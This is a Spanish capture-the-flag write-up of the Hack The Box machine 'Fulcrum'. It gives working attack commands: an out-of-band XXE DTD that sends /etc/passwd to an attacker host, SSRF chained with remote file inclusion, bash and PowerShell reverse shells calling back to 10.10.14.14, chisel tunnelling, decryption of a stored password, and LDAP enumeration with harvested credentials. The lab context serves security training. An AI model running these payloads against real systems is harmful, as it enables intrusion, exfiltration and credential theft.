Fulcrum - Hack The Box

“Fulcrum, una de las máquinas más desafiantes en Hack The Box, requiere múltiples pivotes entre Linux y Windows, y se centra en el uso intensivo de PowerShell. Es un servidor Linux con cuatro sitios web, incluido uno que devuelve mensajes de error de Windows .NET. La explotación implica aprovechar un punto final de la API mediante XXE y utilizarlo como SSRF para lograr ejecución a través de una inclusión remota de archivos. A partir de ahí, el proceso incluye el pivoteo al servidor web de Windows con credenciales obtenidas, la enumeración de LDAP, el cambio al servidor de archivos, que tiene acceso a las comparticiones en el DC. En estas comparticiones, se encuentra un script de inicio de sesión con credenciales asociadas a un administrador de dominio, utilizado para acceder y obtener la bandera del DC, así como para obtener una shell. Esta máquina presenta un enfoque significativo en el túneling, representando una red pequeña con sistemas operativos mixtos en un único entorno.”
Enumeración
Nmap
┌─[root@parrot]─[/home/ot3ro/HTB/Fulcrum/Nmap]
└──╼ #nmap -sT 10.10.10.62 -p- --open -Pn -n --reason -vv -oA nmap-sT-fulcrum
PORT STATE SERVICE REASON
4/tcp open unknown syn-ack
22/tcp open ssh syn-ack
80/tcp open http syn-ack
88/tcp open kerberos-sec syn-ack
9999/tcp open abyss syn-ack
56423/tcp open unknown syn-ack
┌─[root@parrot]─[/home/ot3ro/HTB/Fulcrum/Nmap]
└──╼ #nmap -sVC 10.10.10.62 -p4,22,80,88,9999,56423 -oN nmap-sV-fulcrum
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-13 16:24 CST
Nmap scan report for 10.10.10.62
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
4/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: nginx/1.18.0 (Ubuntu)
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Input string was not in a correct format.
|_http-server-header: nginx/1.18.0 (Ubuntu)
88/tcp open http nginx 1.18.0 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: phpMyAdmin
|_http-server-header: nginx/1.18.0 (Ubuntu)
9999/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Input string was not in a correct format.
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: nginx/1.18.0 (Ubuntu)
56423/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: Fulcrum-API Beta
|_http-title: Site doesn't have a title (application/json;charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
En el escaneo realizado con Nmap, se han identificado diversos servicios en el sistema. Estos incluyen servidores web con Nginx 1.18.0 con sistema operativo Ubuntu en puertos 4, 80, 88, 9999, y 56423. Además, se ha detectado un servicio SSH en el puerto 22. La información del servidor sugiere que el sistema operativo subyacente es Ubuntu.
XXE
Hemos identificado la presencia de la API ‘Fulcrum-API Beta’, la cual opera en el puerto 56423 y responde con datos encapsulados en formato JSON. No obstante, hemos observado que esta API también admite la interpretación de datos en formato XML, lo que nos habilita para ejecutar comandos de entidad externa XML

┌─[ot3ro@parrot]─[~/HTB/Fulcrum]
└──╼ $sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.62 - - [10/Nov/2023 14:23:33] code 404, message File not found
10.10.10.62 - - [10/Nov/2023 14:23:33] "GET /test HTTP/1.0" 404 -
XXE-OOB
Se ha observado que al intentar volcar archivos directamente en la consulta XML, el servidor no muestra ninguna respuesta. No obstante, se ha logrado tener éxito al realizar un ataque de XXE fuera de banda para extraer información del servidor
Para llevar a cabo el ataque, primero declararemos nuestras entidades paramétricas en un archivo que expondremos a través de un servidor Python. Posteriormente, haremos referencia a estas entidades desde Burp Suite al realizar una petición de nuestro archivo hacia nuestro servidor
cat xxe.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://10.10.14.14/?content=%file;'>">

┌─[ot3ro@parrot]─[~/HTB/Fulcrum]
└──╼ $sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.62 - - [10/Nov/2023 14:25:55] "GET /xxe.dtd HTTP/1.0" 200 -
10.10.10.62 - - [10/Nov/2023 14:25:55] "GET /?content=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMDoxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMToxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4OjEwMjoxMDQ6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbiwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDY6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXNsb2c6eDoxMDQ6MTEwOjovaG9tZS9zeXNsb2c6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjEwNjoxMTE6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCnV1aWRkOng6MTA3OjExMjo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3BkdW1wOng6MTA4OjExMzo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCmxhbmRzY2FwZTp4OjEwOToxMTU6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMTA6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTExOjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1jb3JlZHVtcDp4Ojk5OTo5OTk6c3lzdGVtZCBDb3JlIER1bXBlcjovOi91c3Ivc2Jpbi9ub2xvZ2luCmx4ZDp4Ojk5ODoxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCnVzYm11eDp4OjExMjo0Njp1c2JtdXggZGFlbW9uLCwsOi92YXIvbGliL3VzYm11eDovdXNyL3NiaW4vbm9sb2dpbgpkbnNtYXNxOng6MTEzOjY1NTM0OmRuc21hc3EsLCw6L3Zhci9saWIvbWlzYzovdXNyL3NiaW4vbm9sb2dpbgpsaWJ2aXJ0LXFlbXU6eDo2NDA1NToxMDg6TGlidmlydCBRZW11LCwsOi92YXIvbGliL2xpYnZpcnQ6L3Vzci9zYmluL25vbG9naW4KbGlidmlydC1kbnNtYXNxOng6MTE0OjEyMDpMaWJ2aXJ0IERuc21hc3EsLCw6L3Zhci9saWIvbGlidmlydC9kbnNtYXNxOi91c3Ivc2Jpbi9ub2xvZ2luCg== HTTP/1.0" 200 -
echo '<Base64Hash>' | base64 -d
Y vemos que el ataque es exitoso, al lograr obtener el archivo /etc/passwd en base64.
SSRF
Después de intentar adivinar posibles rutas para los archivos de configuración e index.php de los sitios, tuvimos éxito al identificar los directorios ‘api’ y ‘uploads’. Como resultado, logramos extraer exitosamente el contenido de los archivos index.php.
/var/www/api/index.php
<?php
header('Content-Type:application/json;charset=utf-8');
header('Server: Fulcrum-API Beta');
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile,LIBXML_NOENT|LIBXML_DTDLOAD);
$input = simplexml_import_dom($dom);
$output = $input->Ping;
//check if ok
if($output == "Ping")
{
$data = array('Heartbeat' => array('Ping' => "Ping"));
}else{
$data = array('Heartbeat' => array('Ping' => "Pong"));
}
echo json_encode($data);
?>
/var/www/uploads/index.php
<?php
if($_SERVER['REMOTE_ADDR'] != "127.0.0.1")
{
echo "<h1>Under Maintance</h1><p>Please <a href=\"http://" . $_SERVER['SERVER_ADDR'] . ":4/index.php?page=home\">try again</a> later.</p>";
}else{
$inc = $_REQUEST["page"];
include($inc.".php");
}
?>
Verificación de la dirección IP:
El script index.php del directorio uploads verifica si la solicitud no proviene de “127.0.0.1” (localhost). Si es verdadero, muestra un mensaje “En mantenimiento” con un enlace para intentarlo nuevamente más tarde, redirigiendo al usuario a la página de inicio. Si es falso (la solicitud es desde localhost), el script incluye dinámicamente un archivo PHP especificado por el parámetro “page”, permitiendo la carga dinámica de contenido basada en la solicitud
En caso de lograr la ejecución desde el localhost de la máquina víctima, sería posible ejecutar comandos a través del parámetro ‘page’.

Shell
Con el objetivo de explotar la vulnerabilidad de Server-Side Request Forgery (SSRF) mediante una entidad externa en XML, estableceremos una referencia a una entidad que apunta al localhost de la máquina víctima a través del puerto 4. Aprovechando el parámetro ‘page’, realizaremos una solicitud a nuestro archivo PHP que contiene la shell inversa, buscando así obtener acceso no autorizado al sistema objetivo
cat shell.php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.14/443 0>&1'");?>
sudo nc -lnvp 443
┌─[ot3ro@parrot]─[~/HTB/Fulcrum]
└──╼ $sudo python3 -m http.server 80
┌─[ot3ro@parrot]─[~/HTB/Fulcrum]
└──╼ $curl -X POST 10.10.10.62:56423 -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [<!ENTITY remote SYSTEM "http://0.0.0.0:4/index.php?page=http://10.10.14.14/shell">]><test>&remote;</test>'
┌─[root@parrot]─[/home/ot3ro/HTB/Fulcrum]
└──╼ #sudo nc -lnvp 443
www-data@fulcrum:~/uploads$ whoami
www-data
logramos obtener acceso al sistema como el usuario www-data
www-data@fulcrum:~/uploads$ cat Fulcrum_Upload_to_Corp.ps1
# TODO: Forward the PowerShell remoting port to the external interface
# Password is now encrypted \o/
$1 = 'WebUser'
$2 = '77,52,110,103,63,109,63,110,116,80,97,53,53,77,52,110,103,63,109,63,110,116,80,97,53,53,48,48,48,48,48,48' -split ','
$3 = '76492d1116743f0423413b16050a5345MgB8AEQAVABpAHoAWgBvAFUALwBXAHEAcABKAFoAQQBNAGEARgArAGYAVgBGAGcAPQA9AHwAOQAwADgANwAxADIAZgA1ADgANwBiADIAYQBjADgAZQAzAGYAOQBkADgANQAzADcAMQA3AGYAOQBhADMAZQAxAGQAYwA2AGIANQA3ADUAYQA1ADUAMwA2ADgAMgBmADUAZgA3AGQAMwA4AGQAOAA2ADIAMgAzAGIAYgAxADMANAA='
$4 = $3 | ConvertTo-SecureString -key $2
$5 = New-Object System.Management.Automation.PSCredential ($1, $4)
Invoke-Command -Computer upload.fulcrum.local -Credential $5 -File Data.ps1
El script “Fulcrum_Upload_to_Corp.ps1” en PowerShell se utiliza para ejecutar comandos remotos en el equipo upload.fulcrum.local. Utiliza credenciales encriptadas almacenadas en el script para autenticarse y ejecuta el comando de transferencia de un archivo llamado Data.ps1 en el equipo remoto.
www-data@fulcrum:~$ ps aux
...[SNIP]...
[...]/usr/bin/qemu-system-x86_64 -name guest=DC,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-1-DC/master-key.aes -machine pc-i440fx-focal,accel=kvm,usb=off,vmport=off,dump-guest-core=off -cpu EPYC-Rome,x2apic=on,tsc-deadline=on,hypervisor=on,tsc-adjust=on,arch-capabilities=on,xsaves=on,virt-ssbd=on,rdctl-no=on,skip-l1dfl-vmentry=on,mds-no=on,pschange-mc-no=on,sha-ni=off,umip=off,rdpid=off,xgetbv1=off,perfctr-core=off,clzero=off,xsaveerptr=off,wbnoinvd=off,amd-stibp=off -m 2048 -overcommit mem-lock=off -smp 1,sockets=1,cores=1,threads=1 -uuid 9a05695b-6539-4178-b064-cdff977f2eb5 -no-user-config -nodefaults -chardev socket,id=charmonitor,fd=30,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc,driftfix=slew -global kvm-pit.lost_tick_policy=delay -no-hpet -no-shutdown -global PIIX4_PM.disable_s3=1 -global PIIX4_PM.disable_s4=1 -boot strict=on -device ich9-usb-ehci1,id=usb,bus=pci.0,addr=0x5.0x7 -device ich9-usb-uhci1,masterbus=usb.0,firstport=0,bus=pci.0,multifunction=on,addr=0x5 -device ich9-usb-uhci2,masterbus=usb.0,firstport=2,bus=pci.0,addr=0x5.0x1 -device ich9-usb-uhci3,masterbus=usb.0,firstport=4,bus=pci.0,addr=0x5.0x2 -device virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x6 -blockdev {"driver":"file","filename":"/var/lib/libvirt/images/DC.qcow2","node-name":"libvirt-1-storage","auto-read-only":true,"discard":"unmap"} -blockdev {"node-name":"libvirt-1-format","read-only":false,"driver":"qcow2","file":"libvirt-1-storage","backing":null} -device ide-hd,bus=ide.0,unit=0,drive=libvirt-1-format,id=ide0-0-0,bootindex=1 -netdev tap,fd=32,id=hostnet0 -device e1000,netdev=hostnet0,id=net0,mac=52:54:00:9e:52:f2,bus=pci.0,addr=0x3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -chardev spicevmc,id=charchannel0,name=vdagent -device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=com.redhat.spice.0 -spice port=5900,addr=127.0.0.1,disable-ticketing,seamless-migration=on -device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,vram64_size_mb=0,vgamem_mb=16,max_outputs=1,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x7 -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny -msg timestamp=on
[...]/usr/bin/qemu-system-x86_64 -name guest=WEB01,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-2-WEB01/master-key.aes -machine pc-i440fx-focal,accel=kvm,usb=off,vmport=off,dump-guest-core=off -cpu EPYC-Rome,x2apic=on,tsc-deadline=on,hypervisor=on,tsc-adjust=on,arch-capabilities=on,xsaves=on,virt-ssbd=on,rdctl-no=on,skip-l1dfl-vmentry=on,
[...]/usr/bin/qemu-system-x86_64 -name guest=FILE,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-3-FILE/master-key.aes -machine pc-i440fx-focal,accel=kvm,usb=off,vmport=off,dump-guest-core=off -cpu EPYC-Rome,x2ap
...[SNIP]...
AL listar los procesos, la información proporcionada muestra procesos relacionados con la virtualización mediante QEMU y libvirt, encontramos tres máquinas virtuales: “DC”,”WEB01” y “FILE”
www-data@fulcrum:/etc/nginx/sites-available$ cat default
...[SNIP]...
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html;
server_name _;
location / {
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
proxy_pass http://192.168.122.228;
}
location /uploads {
try_files $uri $uri/ =404;
}
...[SNIP]...
}
el servidor nginx por el puerto 80 actúa como un proxy inverso. Todas las solicitudes al puerto 80 son reenviadas al servidor ubicado en la dirección IP 192.168.122.228.
www-data@fulcrum:/etc/nginx/sites-available$ ip a
...[SNIP]...
3: virbr0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 52:54:00:97:17:b7 brd ff:ff:ff:ff:ff:ff
inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0
...[SNIP]...
www-data@fulcrum:~$ arp -n
arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.122.132 ether 52:54:00:9e:52:f3 C virbr0
192.168.122.130 ether 52:54:00:9e:52:f2 C virbr0
192.168.122.228 ether 52:54:00:9e:52:f4 C virbr0
10.10.10.2 ether 00:50:56:b9:5b:c9 C ens160
Hemos identificado una interface que usa la IP “192.168.122.1/24”, y los hosts “192.168.122.132”,”192.168.122.130”,”192.168.122.228”
Realicé un escaneo de hosts en la red 192.168.122.0/24 y escaneo de puertos en el host identificado utilizando scripts one-liners
www-data@fulcrum:~$ echo "Scanning hosts on 192.168.122.1/24"; for i in {2..254}; do if ping -c1 -w1 192.168.122.$i &>/dev/null; then echo "[+] Host 192.168.122.$i is UP"; fi; done
Scanning hosts on 192.168.122.1/24
[+] Host 192.168.122.228 is UP
www-data@fulcrum:~$ ping -c3 192.168.122.228
PING 192.168.122.228 (192.168.122.228) 56(84) bytes of data.
64 bytes from 192.168.122.228: icmp_seq=1 ttl=128 time=6.00 ms
64 bytes from 192.168.122.228: icmp_seq=2 ttl=128 time=0.346 ms
64 bytes from 192.168.122.228: icmp_seq=3 ttl=128 time=15.7 ms
www-data@fulcrum:~$ echo "Scanning ports on host 192.168.122.228"; for port in $(seq 1 65535); do timeout 0.1 bash -c "</dev/tcp/192.168.122.228/$port" >/dev/null 2>&1 && echo "[+] port $port is open"; done
Scanning ports on host 192.168.122.228
[+] port 80 is open
[+] port 5985 is open
EL escaneo nos revela 2 puertos abiertos en el host 192.168.122.228, el puerto 80 HTTP y el puerto 5985 WinRM.
Ahora podríamos intentar decodificar el password almacenado en el script “Fulcrum_Upload_to_Corp.ps1” de powershell y usar las credenciales para conectarnos al host aprovechando el servicio abierto de WinRM.
debemos de modificar el script para obtener el password en texto plano. Vamos a eliminar todo el contenido de la línea que dice “Invoke-Command…” y luego agregaremos un comando que convierte una ‘SecureString’($4) en una cadena de texto plano($plaintextPassword).
Fulcrum_Upload_to_Corp.ps1
...[SNIP]...
$plaintextPassword = [System.Runtime.InteropServices.Marshal]::PtrToStringUni([System.Runtime.InteropServices.Marshal]::SecureStringToCoTaskMemUnicode($4))
Write-Output $plaintextPassword
Luego de modificar el script lo ejecutamos.
┌─[ot3ro@parrot]─[~/HTB/Fulcrum]
└──╼ $pwsh Fulcrum_Upload_to_Corp.ps1
M4ng£m£ntPa55
Se nos revela la contraseña del usuario “WebUser” en texto plano
Ahora con el uso de la herramienta ‘Chisel’ vamos a crear un túnel con la máquina 192.168.122.228 por el puerto 5985
┌─[ot3ro@parrot]─[~/HTB/Fulcrum]
└──╼ $./chisel server --reverse -p 5984
www-data@fulcrum:~$ cd /tmp
www-data@fulcrum:/tmp$ wget http://10.10.14.14/chisel
wget http://10.10.14.19/chisel
--2023-11-14 01:55:58-- http://10.10.14.14/chisel
Connecting to 10.10.14.19:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8654848 (8.3M) [application/octet-stream]
Saving to: 'chisel.1'
...[SNIP]...
www-data@fulcrum:/tmp$ chmod +x chisel
www-data@fulcrum:/tmp$ ./chisel client 10.10.14.14:5984 R:5985:192.168.122.228:5985
Una vez creado el túnel, nos podemos conectar a la máquina remota desde nuestro localhost usando la herramienta “Evil-Winrm”
WinRM
usuario webuser
┌─[ot3ro@parrot]─[~/HTB/Fulcrum]
└──╼ $evil-winrm -i 0.0.0.0 -u 'webuser' -p 'M4ng£m£ntPa55'
*Evil-WinRM* PS C:\Users\WebUser\Documents> whoami
webserver\webuser
LOgramos ingresar a la máquina como el usuario webuser.
*Evil-WinRM* PS C:\inetpub\wwwroot> gc web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration xmlns="http://schemas.microsoft.com/.NetConfiguration/v2.0">
<appSettings />
<connectionStrings>
<add connectionString="LDAP://dc.fulcrum.local/OU=People,DC=fulcrum,DC=local" name="ADServices" />
</connectionStrings>
<system.web>
<membership defaultProvider="ADProvider">
<providers>
<add name="ADProvider" type="System.Web.Security.ActiveDirectoryMembershipProvider, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" connectionStringName="ADConnString" connectionUsername="FULCRUM\LDAP" connectionPassword="PasswordForSearching123!" attributeMapUsername="SAMAccountName" />
</providers>
...[SNIP]...
En el archivo ‘web.config’ del directorio webroot, hemos encontrado las credenciales “FULCRUM\LDAP”:”PasswordForSearching123!”. Estas credenciales nos permiten establecer una conexión al dominio dc.fulcrum.local. Podríamos crear un objeto PSCredential utilizando el usuario mencionado para ejecutar comandos bajo sus credenciales
Podemos descargar el script PowerView.ps1 para enumerar usuarios en el dominio dc.fulcrum.local
En mi caso estuve usando el comando: "certutil.exe -urlcache -split -f http://my_ip:port/file" para transferir archivos.
*Evil-WinRM* PS C:\Users\WebUser\Documents> Import-Module ./PowerView.ps1
*Evil-WinRM* PS C:\Users\WebUser\Documents> $SecPass = ConvertTo-SecureString "PasswordForSearching123!" -AsPlainText -Force
*Evil-WinRM* PS C:\Users\WebUser\Documents> $cred = New-Object System.Management.Automation.PSCredential('FULCRUM\ldap',$SecPass)
*Evil-WinRM* PS C:\Users\WebUser\Documents> Get-DomainUser -Credential $cred -DomainController dc.fulcrum.local
...[SNIP]...
company : fulcrum
logoncount : 1
badpasswordtime : 12/31/1600 4:00:00 PM
st : UN
l : unknown
distinguishedname : CN=BTables,CN=Users,DC=fulcrum,DC=local
objectclass : {top, person, organizationalPerson, user}
lastlogontimestamp : 5/9/2022 7:48:46 AM
name : BTables
objectsid : S-1-5-21-1158016984-652700382-3033952538-1105
samaccountname : BTables
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
countrycode : 0
whenchanged : 5/9/2022 2:48:46 PM
instancetype : 4
usncreated : 12628
objectguid : 8e5db1d3-d28c-4aa1-b49d-f5f8216959fe
sn : BTables
info : Password set to ++FileServerLogon12345++
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=fulcrum,DC=local
dscorepropagationdata : 1/1/1601 12:00:00 AM
givenname : BTables
c : UK
lastlogon : 5/9/2022 7:48:46 AM
streetaddress : unknown
badpwdcount : 0
cn : BTables
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
whencreated : 5/8/2022 7:02:49 AM
primarygroupid : 513
pwdlastset : 5/8/2022 12:02:49 AM
usnchanged : 16404
lastlogoff : 12/31/1600 4:00:00 PM
postalcode : 12345
*Evil-WinRM* PS C:\Users\WebUser\Documents> Get-DomainUser -Credential $cred -DomainController dc.fulcrum.local | select name,lastlogon,memberof
name lastlogon memberof
---- --------- --------
Administrator 5/8/2022 1:49:11 AM {CN=Group Policy Creator Owners,CN=Users,DC=fulcrum,DC=local, CN=Domain Admins,CN=Users,DC=fulcrum,DC=local, CN=Enterprise Admins,CN=Users,DC=fulcrum,DC=local, CN=Schema Admins,CN=Users,DC=fulcrum,DC=local...}
Guest 12/31/1600 4:00:00 PM CN=Guests,CN=Builtin,DC=fulcrum,DC=local
krbtgt 12/31/1600 4:00:00 PM CN=Denied RODC Password Replication Group,CN=Users,DC=fulcrum,DC=local
ldap 11/13/2023 9:29:29 PM
923a 11/13/2023 9:22:04 PM CN=Domain Admins,CN=Users,DC=fulcrum,DC=local
BTables 11/13/2023 8:28:14 PM
Se ha identificado un usuario denominado “BTables”. El mensaje contenido en la etiqueta ‘info’ revela que la contraseña asociada a este usuario ha sido modificada o establecida. La nueva contraseña es especificada como ‘++FileServerLogon12345++’. Esta contraseña sugiere una posible relación con el host virtual denominado “FILE” que previamente hemos descubierto; otro usuario interesante es “923a” que está asociado al grupo “Domain Admins”
*Evil-WinRM* PS C:\Users\WebUser\Documents> Invoke-Command -ComputerName dc.fulcrum.local -Credential $cred -ScriptBlock {whoami}
fulcrum\btables
He creado un script en PowerShell para escanear subdominios, y al ejecutarlo, confirmé que el host “file.fulcrum.local” está activo
┌─[ot3ro@parrot]─[~/HTB/Fulcrum]
└──╼ $cat SubdomainScanner.ps1
# Ruta al archivo que contiene la lista de subdominios
$subdomainsFile = "C:\Users\WebUser\Documents\subdomains-top1million-5000.txt"
# Leer la lista de subdominios desde el archivo
$subdomains = Get-Content $subdomainsFile
# Script a ejecutar
$scriptBlock = {
param($subdomain)
$hostname = $subdomain + ".fulcrum.local"
$result = Invoke-Command -ComputerName $hostname -ScriptBlock { $env:COMPUTERNAME } -ErrorAction SilentlyContinue
if ($result) {
"The subdomain $hostname is UP and its hostname is: $result"
}
}
# Iterar sobre la lista de subdominios y mostrar solo los activos
foreach ($subdomain in $subdomains) {
# Ejecutar el script con el subdominio actual
Invoke-Command -ComputerName dc.fulcrum.local -Credential $cred -ScriptBlock $scriptBlock -ArgumentList $subdomain
}
*Evil-WinRM* PS C:\Users\WebUser\Documents> .\SubdomainScanner.ps1
The subdomain file.fulcrum.local is UP and its hostname is: FILE
The subdomain dc.fulcrum.local is UP and its hostname is: DC
*Evil-WinRM* PS C:\Users\WebUser\Documents> Test-NetConnection -ComputerName file.fulcrum.local
Warning: Ping to 192.168.122.132 failed with status: TimedOut
ComputerName : file.fulcrum.local
RemoteAddress : 192.168.122.132
InterfaceAlias :
SourceAddress :
PingSucceeded : False
PingReplyDetails (RTT) : 0 ms
Vemos que el ping no tiene exito pero sí se nos aplica la resolución de nombres, y se nos muestra la IP ‘192.168.122.132’ correspondiente al dominio file.fulcrum.local.
Ahora vamos a intentar ejecutar una reverse shell para conectarnos al host “FILE” como el usuario “BTables”. Podemos usar el script Invoke-PowerShellTcpOneLine.ps1 y modificarlo a nuestras necesidades.
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.14',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Nos pondremos en escucha por el puerto 53
NOTA: Es posible que la máquina remota tenga reglas de firewall que restrinjan la salida de tráfico en ciertos puertos. Sin embargo, el puerto 53 tiene permitida la salida, ya que se reconoce como un puerto local de confianza
sudo nc -lnvp 53
*Evil-WinRM* PS C:\Users\WebUser\Documents> Invoke-Command -ComputerName file.fulcrum.local -Credential $cred -ScriptBlock {IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.14/Invoke-PowerShellTcpOneLine.ps1')}
┌─[ot3ro@parrot]─[~/HTB/Fulcrum]
└──╼ $sudo nc -lnvp 53
PS C:\Users\BTables\Documents>whoami
fulcrum\btables
PS C:\Users\BTables\Documents> $env:COMPUTERNAME
FILE
PS C:\Users\BTables\documents> gci ../desktop
Directory: C:\Users\BTables\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/8/2022 1:48 AM 32 user.txt
PS C:\Users\BTables\documents> gc ../desktop/user.txt
fce52521c8f872b514f037fada78daf4
Después de obtener acceso a la máquina “FILE”, podemos localizar la flag “user.txt” en el directorio “Desktop” del usuario BTables
Al tiempo de enumerar la máquina “FILES”, conseguimos autenticarnos en el recurso compartido NETLOGON
